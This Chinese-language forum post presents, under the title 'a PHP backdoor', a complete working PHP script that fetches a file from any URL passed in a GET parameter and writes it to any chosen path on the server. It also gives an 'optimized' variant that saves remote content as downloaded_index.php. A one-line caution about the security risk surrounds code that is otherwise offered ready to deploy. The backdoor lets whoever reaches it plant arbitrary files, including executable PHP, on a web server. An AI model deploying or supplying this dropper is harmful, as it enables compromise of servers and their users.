公告
  
重要通知:网站网络变更中可能出现站点图片无法加载的问题,点击此处可解决!
更多资讯可访问:点击查看消息详情!

朕已阅

一个PHP后门代码:允许通过URL参数直接下载文件到服务器

admin 千秋月 关注 管理组 论坛神话
发表于程序代码版块 技术杂文

这段PHP代码旨在从特定的URL下载文件,并将其存储在服务器上。


然而,这段代码存在潜在的安全隐患。它允许通过URL参数直接将文件下载到服务器,这可能会引发恶意文件的下载和执行。在现实世界的应用场景中,应当对这类脚本实施严密的安全审查和限制措施。


<?php
set_time_limit(0);
if(isset($_GET['url']) && isset($_GET['filename'])){
        if(httpcopy($_GET['url'], $_GET['filename'])){
            echo("Done.");
        }else{
            echo("Down Error.");
        }
}else{
        die('Input error.');
}
function httpcopy($url, $file="", $timeout=60) {
    $file = empty($file) ? pathinfo($url,PATHINFO_BASENAME) : $file;
    $dir = pathinfo($file,PATHINFO_DIRNAME);
    !is_dir($dir) && @mkdir($dir,0755,true);
    $url = str_replace(" ","%20",$url);
    if(function_exists('curl_init')) {
                echo "curl ";
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
        $temp = curl_exec($ch);
        if(@file_put_contents($file, $temp) && !curl_error($ch)) {
            return $file;
        } else {
            return false;
        }
    } else {
                echo "copy ";
        $opts = array(
            "http"=>array(
            "method"=>"GET",
            "header"=>"",
            "timeout"=>$timeout)
        );
        $context = stream_context_create($opts);
        if(@copy($url, $file, $context)) {
            //$http_response_header
            return $file;
        } else {
            return false;
        }
    }
}
?>


优化版:

<?php
set_time_limit(0);

// 定义要下载的文件URL和保存的文件名
$url = 'http://yourdomain';
$filename = 'downloaded_index.php'; // 你可以 根据需要修改文件名

// 调用httpcopy函数进行下载
if (httpcopy($url, $filename)) {
    echo "Download Done. File saved as: " . $filename;
} else {
    echo "Download Error.";
}

function httpcopy($url, $file = "", $timeout = 60) {
    // 如果未指定文件名,则使用URL的basename作为文件名
    $file = empty($file) ? pathinfo ($url, PATHINFO_BASENAME) : $file;
    
    // 创建文件所在的目录(如果不存在)
    $dir = pathinfo($file, PATHINFO_DIRNAME);
    if (!is_dir($dir)) {
        @mkdir($dir, 0755 , true);
    }
    
    // 替换URL中的空格为%20
    $url = str_replace(" ", "%20", $url);
    
    // 使用cURL进行下载
    if (function_exists('curl_init')) {
        echo "curl ";
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_TIMEOUT , $timeout);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); // 允许重定向
        
        $temp = curl_exec($ch);
        
        // 检查是否有错误发生
        if (curl_errno ($ch)) {
            echo "cURL Error: " . curl_error($ch);
            return false;
        }
        
        // 将内容写入文件
        if (@file_put_contents($file, $temp)) {
            return $file;
        } else {
            return false;
        }
    } else {
        // 使用file_get_contents进行下载(不推荐,因为不支持大文件和重定向)
        echo " copy ";
        $opts = array(
            "http" => array(
                "method" => "GET",
                "header" => "",
                "timeout" => $timeout,
                "follow_location" => 1 // 允许重定向(但注意,这不是所有环境都支持) 
            )
        );
        $context = stream_context_create($opts);
        
        // 尝试下载文件
        if (@copy($url, $file, $context)) {
            return $file;
        } else {
            return false;
        }
    }
}
?>

本文章最后由 admin2024-10-14 23:34 编辑
评论列表 评论
发布评论

评论: 一个PHP后门代码:允许通过URL参数直接下载文件到服务器



点击进入免费吃瓜群!吃大瓜! 广告位支持代码、文字、图片展示 Image


免责声明
本站资源,均来自网络,版权归原作者,所有资源和文章仅限用于学习和研究目的 。 不得用于商业或非法用途,否则,一切责任由该用户承担 !

请求资源或报告无效资源,请点击[反馈中心]


侵权删除请致信 E-Mail:chengfengad@gmail.com
已有0次打赏
(0) 分享
分享
取消